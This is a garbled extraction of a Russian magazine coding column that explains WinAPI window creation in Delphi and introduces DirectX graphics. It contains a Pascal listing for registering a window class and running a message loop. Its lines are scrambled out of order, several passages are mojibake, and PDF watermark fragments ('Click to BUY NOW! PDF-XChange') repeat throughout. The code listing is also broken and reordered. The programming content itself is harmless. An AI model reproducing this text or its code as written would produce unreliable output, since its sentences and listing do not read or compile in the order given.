
 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

но я решил

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ìó èõ íàäî

 

удалить. Щелк

 

 

 

 

HbrBackground

- цвет фона; в принципе, он необязателен,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íè View->Project Manager.

 

 

 

 

 

 

цветом кнопок;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сить фон системным

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Перед тобой появится окно

 

 

 

 

 

класса;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LpszClassName

- имя создаваемого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

менеджера проектов.

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Сюда я загружаю стандартный курсор - стрелку.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Âû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дели форму Unit1 и нажми

 

 

 

 

 

Hcursor - курсор

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

класс будущего ок-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

новый

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кнопарь Remove

 

 

 

 

 

 

 

 

 

 

Все, структура готова, и мы можем зарегистрировать

 

 

wClass);.

После

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на. Для этого я вызываю WinAPI функцию

RegisterClass(Windo

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь выбираем из меню

 

 

 

 

 

 

 

îêíà.

Почему будущего? Да по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

этого в системе есть

 

описание твоего будущего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Project пункт View Source.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Для этого нужно еще вызвать функцию

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если все в норме, то в ре-

 

 

 

 

 

òîìó ÷òî ñàìî îêíî ìû åùå

не создали

 

параметров,

и давай посмотрим на

íèõ

 

 

 

 

 

 

 

 

а проектов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

wEx. У нее достаточно много

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дакторе кода ты увидишь

 

 

 

 

CreateWindo

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вызов менеджер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поподробнее:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

код твоего проекта. Оставляем только первую строчку “program

 

Project1;”, à âñå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

остальное удаляем и вместо этого пишем содержимое

листинга 1.

 

 

 

 

 

 

 

 

 

 

1. Расширенный стиль окна. Нам он параллелен,

поэтому у меня первый пара

 

 

 

 

 

 

обнее

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

метр равен нулю.

 

 

 

 

 

 

 

 

класс ‘DX’, значит

и здесь мы должны

óêà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2. Èìÿ

класса. Мы

 

 

 

 

 

 

 

 

 

А поподр

 

 

 

...

чтобы

можно было понять, как работают про-

 

 

 

 

 

 

 

 

зарегистрировали

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

еперь разберем листинг,

 

 

 

 

зать именно этот класс

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Потому что

 

 

 

 

 

 

 

 

начинает выполнение

ñ ïåð-

 

 

 

 

 

 

 

 

 

графики

имя окна не нужно

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ws. После старта программа

 

 

 

.

 

 

 

 

3. Èìÿ îêíà.

При программировании

 

 

 

 

 

 

 

 

граммы Windo

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Òâîãî

 

begin (я это место обозначил соответствующим

 

комментарием)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

72

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

w

 

 

to

 

 

 

 

 

o

Кодинг

 

 

 

 

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КАК РАБОТАЮТ ОКОННЫЕ ПРОГИ

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Фленов Михаил (smirnandr@mail.ru)

 

 

 

 

 

 

 

www.cydsoft.com/vr-online

 

 

 

 

 

 

 

 

 

 

окно будет полноэкранным.

 

 

WS_POPUP îêíî.

 

 

 

 

 

 

4. Стиль окна.

Нас интересует простейшее

 

 

 

 

 

 

 

правая позиции и ширина и высо-

 

 

 

 

 

 

 

- это левая,

 

 

 

 

 

 

5-8. Следующие четыре параметра

.

 

 

 

 

 

 

та окна. Если указать все нули, то эти

значения будут выбраны по умолчанию

 

 

 

 

 

 

 

 

. Наше окно само по себе главное,

 

 

 

 

 

 

9. Главное окно по отношению к создаваемому

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поэтому я указываю 0.

 

 

 

 

 

10.Меню. Для DX меню не будет. после вызова GetModuleHandle.

11.Это снова описатель, полученныйиспользуется при создании многодокумент-

12.Параметры окна. Этот параметр

ÿуказываю ноль.ных окон, поэтому

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Это простая прорисовка

И последняя подготовительная

функция - UpdateWindow

 

 

 

 

 

 

 

 

 

 

созданного нами окна.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

øåê

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åëü îêî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

éíàÿ ìîä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Событи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

Ò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Функция GetMessage

 

еперь разберемся с циклом

обработки сообщений

 

 

 

 

 

 

 

 

îíî

 

ожидает пользовательского

или системного сообщения и, как только

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Полученное сообщение преобразу

 

наступает, возвращает true (истина)

 

 

 

 

 

 

 

 

и отправляется обработчи

ется в необходимый

вид с помощью translatemessage

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

ку сообщений с помощью

вызова dispatchmessage

 

 

 

 

 

. Какая

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èìåí

В каждой программе должна быть процедура

 

обработки сообщений

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Lpfnwndproc

но? Мы указали ее при создании класса окна

в свойстве WindowClass

.

Ñàìà æå

 

 

 

 

 

 

 

 

 

 

 

 

 

Я ее назвал WindowProc - стандартное

имя, используемое по умолчанию

 

 

 

 

 

 

 

 

 

 

êàê

в листинге 1.

 

 

 

 

 

 

 

 

процедура должна выглядеть приблизительно

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-обработчике событий желательно делать вызов функции defwindow

В процедуре

 

 

 

 

 

 

 

 

обработчик полученного сообщения,

 

установ-

proc. Ýòà

функция ищет в системе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Это очень важно, чтобы тебе не пришлось самому писать

ленный по умолчанию

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

то, что может сделать за тебя ОС.

 

 

 

 

 

 

 

 

 

 

 

 

 

. Это происходит с

После этого я сам начинаю обработку

полученного сообщения

 

 

. Например,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

помощью сравнивания

 

параметра msg со стандартными

событиями

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уничтожиться,

и я могу по этому

 

 

 

_destroy, то программа хочет

 

 

 

 

 

 

 

 

если msg равно wm

 

 

 

 

 

 

 

 

 

память.

 

 

 

 

 

 

 

 

 

 

 

 

событию

освободить любую выделенную

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если msg равно wm_KeyDown, т.е.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В моем обработчике есть еще одно сравнение.

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

-то клавиша, то я проверяю, если нажата клавиша ESC

(â ýòîì ñëó

нажата какая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_ESCAPE),

то завершаю приложение

 

 

 

 

 

 

 

 

 

 

 

 

÷àå wpr = VK

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nect

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Discon

 

 

 

 

 

 

 

.

Ты, наверно, думаешь, что все описанное мной

 

 

а этом можно закончить

 

 

 

 

 

 

 

 

 

 

языка С, они именно так и про

 

 

сложно? А представь, каково любителям

 

 

 

 

 

 

 

 

 

 

 

 

 

íî íå

 

 

 

. Любители С++ немного более в удачном положении,

 

 

 

 

Нграммируют

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на много.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

глупостей, но не я писал Windows

Я понимаю, что в кодинге на WinAPI очень много

 

 

 

 

 

 

 

 

 

 

. Íàïè

и не мне устанавливать

правила. Так что придется нам с этим

смириться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на языке С, только я ее написал

санный

сегодня код - точная копия программы

 

 

 

 

 

 

 

 

 

 

 

 

 

синтаксисом Паскаля. Ну, ничего, зато

ты теперь прекрасно понимаешь, как ра

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

ботают

внутренности

прог. В любом случае тебе это пригодится

 

 

 

 

 

 

 

запустить

мой пример, то не увидишь

никакого окна.

Если ты попытаешься

 

 

 

 

 

ïî ðàáî

 

 

 

 

 

 

 

. Видимость я ему придам в статье

потому, что я создал его

невидимым

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.com/vr

те с графикой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Исходники примера, как всегда, можно скачать

с моего сайта www.cydsoft

 

 

online после выхода этого номера в свет.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P.S. Ó

меня к тебе просьба, на сто баксов

 

:). Íå ïèøè

мне большие письма.

 

 

 

 

 

 

 

 

 

 

 

. Я не в состо

сле появления рубрики кодинг

меня каждый день валят вопросами

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-то подсказать, где

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. ß ìîãó ÷òî

 

 

 

 

 

 

 

 

янии всем рассказывать

то, о чем пишут книги

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

написать прогу вообще нереальны

 

 

 

 

 

. А просьбы типа помоги

помочь, но не больше

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

строчек. Целые

Я отвечаю только на те вопросы, где ответ займет несколько

 

 

 

 

 

 

 

-

ции по мылу я разводить

не могу. Я бы с удовольствием

помог всем, но это НЕ

 

 

 

 

 

ñâîé âî-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Вас слишком много, а я один :(((. Поэтому лучше разбей

.

 

 

 

ВОЗМОЖНО

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

прос на несколько маленьких и спрашивай

постепенно, а не все сразу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Листинг 1

 

 

 

 

 

 

 

uses

 

 

 

 

 

 

 

windows, messages, sysutils;

 

 

 

 

 

 

{$R *.RES}

 

 

 

 

 

 

 

var

 

 

 

 

 

 

 

Instance: HWnd;

 

 

 

 

 

 

 

WindowClass: TWndClass;

 

 

 

 

 

 

Handle: HWnd;

 

 

 

 

 

 

 

msg: TMsg;

 

 

 

 

 

 

 

//Процедура выхода из проги

 

 

 

 

 

 

procedure DoExit;

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

Halt;

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

//Функция обработки

событий Windows

 

 

 

 

 

 

longint): longint; stdcall;

function WindowProc (Hwn,msg,wpr,lpr:

 

 

 

 

begin

 

 

 

 

 

 

 

result:=defwindowproc(hwn,msg,wpr,lpr);

 

 

 

_destroy then

 

 

 

 

 

 

if msg=wm

 

 

 

 

 

 

 

DoExit;

 

 

 

 

 

 

 

_KeyDown

then

 

 

 

 

 

 

if msg=wm

 

 

 

 

 

 

 

if wpr=VK_ESCAPE then

 

 

 

 

 

 

DoExit;

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

//Отсюда начинается выполнение проги

 

 

 

begin

 

 

 

 

 

 

 

//Получаем описатель модуля

 

 

 

 

 

instance :=GetModuleHandle(nil);

 

 

 

 

 

//Заполняю структуру WindowClass

 

 

 

 

 

_HRedraw

or CS_VRedraw;

 

 

.style:=CS

 

 

 

 

 

 

WindowClass

 

 

 

 

 

 

 

.Lpfnwndproc:=@windowproc;

 

 

WindowClass

 

 

 

 

 

 

 

.Hinstance:=Instance;

 

 

 

 

WindowClass

 

 

 

 

 

 

 

.HbrBackground:= color_btnface;

 

 

WindowClass

 

 

 

 

 

 

 

.LpszClassName:=’DX’;

 

 

 

 

WindowClass

 

 

 

 

_ARROW);

 

.Hcursor:=LoadCursor(0,IDC

 

 

WindowClass

 

 

 

 

 

 

 

//Регистрирую новый класс

 

 

 

 

 

RegisterClass (WindowClass);

 

 

 

 

 

//Создаю окно

 

 

 

 

_POPUP,

1,1,

 

 

 

 

 

Handle:=CreateWindowEx

(0,’DX’,’’,WS

 

 

GetSystemMetrics

(SM_CXSCREEN),

 

 

nil);

(SM_CYSCREEN),0,0,instance,

GetSystemMetrics

 

 

 

 

 

 

 

 

UpdateWindow (Handle);

 

 

 

 

 

 

 

 

 

 

 

.

 

 

//Здесь можно производить инициализацию

 

 

//Цикл обработки

сообщений

 

 

 

 

 

while (GetMessage(msg,

0, 0, 0)) do

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

translatemessage(msg);

 

 

 

 

 

dispatchmessage (msg);

 

 

 

 

 

end;

 

 

 

 

 

 

 

end.

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

74

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

Ï

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

d

 

 

ðîãð

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

à

ìì

èðî

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

âà

 

 

 

 

P

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

íè

å

ãð

ôè

 

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

Êó

 

 

 

 

 

 

 

 

 

êè

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

ðñ

молодо

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ãî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

á

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îé

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

öà

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

à

 

 

 

 

 

 

 

 

 

 

 

Ñ

 

сегодняшнего дня я начинаю

рассказ о кодинге графики в Delphi. Я долго

 

 

 

 

÷òî

выбрать,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

думал,

 

 

именно

 

DX.

OpenGL èëè DirectX, è

все же пришел к

âûâî

äó,

÷òî

лучше

 

 

 

 

 

Он намного сложнее, зато более универсальн

описывать

 

åñëè

òû

 

 

 

 

 

 

захочешь узнать про OpenGL, то

можешь

 

 

 

 

 

 

ûé

(íà ìîé

взгляд).

Äà è

 

ï

 

 

 

 

 

 

 

 

 

 

 

пойти на

 

 

 

 

 

 

 

 

 

 

олный цикл

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ìîé ñàéò è

скачать себе

 

 

статей по этой теме. Там достаточно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èíôû, ÷ò

îáû èç

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

превратиться в

 

 

 

 

 

 

 

 

 

 

 

 

полного

чайника

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

самовар :), а здесь я повторяться

íå õî÷ó.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Фленов Михаил

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

64ê Intro

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

smirnandr@mail.ru www.cydsoft.com/vr-online

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ê

ак и при любом другом кодинге,

 

Delphi намного облегчает

ïðî

 

 

DInput8.dll - это для работы с устройствами ввода.

 

 

 

 

 

 

íèå â DirectX. Ïðè ýòîì

 

 

 

 

 

 

 

Íó, â

общем, все в таком духе. Мы

начнем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

граммирова-

íî, ñ

изучение с 2D графики и, соответствен-

 

 

 

 

 

 

 

 

 

 

 

размер файла значительно увеличивается,

÷òî äëÿ

Ddraw.dll.

 

 

 

 

 

 

 

 

 

маленьких Intro и презентаций очень

важно. Поэтому мы не

будем идти про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñòûì

 

 

DirectX - это объектная

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

путем, а

 

 

 

 

 

 

 

 

 

 

 

 

 

 

библиотека, построенная по технологии COM. Не пу

 

 

 

будем создавать маленькие приложения

áåç

использования преиму-

я постараюсь объяснить

ществ

Delphi, зато с использованием

 

 

 

 

 

 

 

 

все как можно проще, чтобы ты не ощутил всех

гайся,

 

 

 

всей убогости WinAPI.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

трудностей

Я отказался от

визуальности не только из-за большого размера

 

 

 

 

 

 

COM кодинга. DirectDraw, грубо

 

 

 

 

 

 

 

 

 

 

 

 

 

Äëÿ

 

 

 

 

 

 

 

получаемых файлов.

DirectDrawSurface

- область

 

говоря, состоит из следующих объектов:

этого было еще

несколько причин:

 

 

 

 

 

 

 

 

видеопамяти. К ней можно обращаться напрямую и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1. Чтобы показать тебе внутренности

любой про

 

Так ты сможешь понять про-

производить практически любые действия.

 

 

 

 

 

 

 

 

 

 

 

 

öåññ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DirectDrawPalette -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

выполнения прог и узнать, как работают

граммы.

интерфейс для работы с палитрами. Он нужен,

 

 

 

 

внутренности твоих любимых окошек.

 

 

 

 

 

 

 

 

åñëè òû íàñò-

2. Такой код легко будет

 

 

 

 

 

 

 

 

 

роился на 256или, не дай бог, 16-

цветную игру.

 

 

 

 

 

 

3. Òàê

 

 

 

 

 

 

 

 

 

 

 

перенести на другой язык (С++ или ASM).

 

 

 

DirectDrawClipper -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можно показать любителям

VC++, что Delphi способен не только на

 

этот интерфейс отвечает за

обрезания. Он

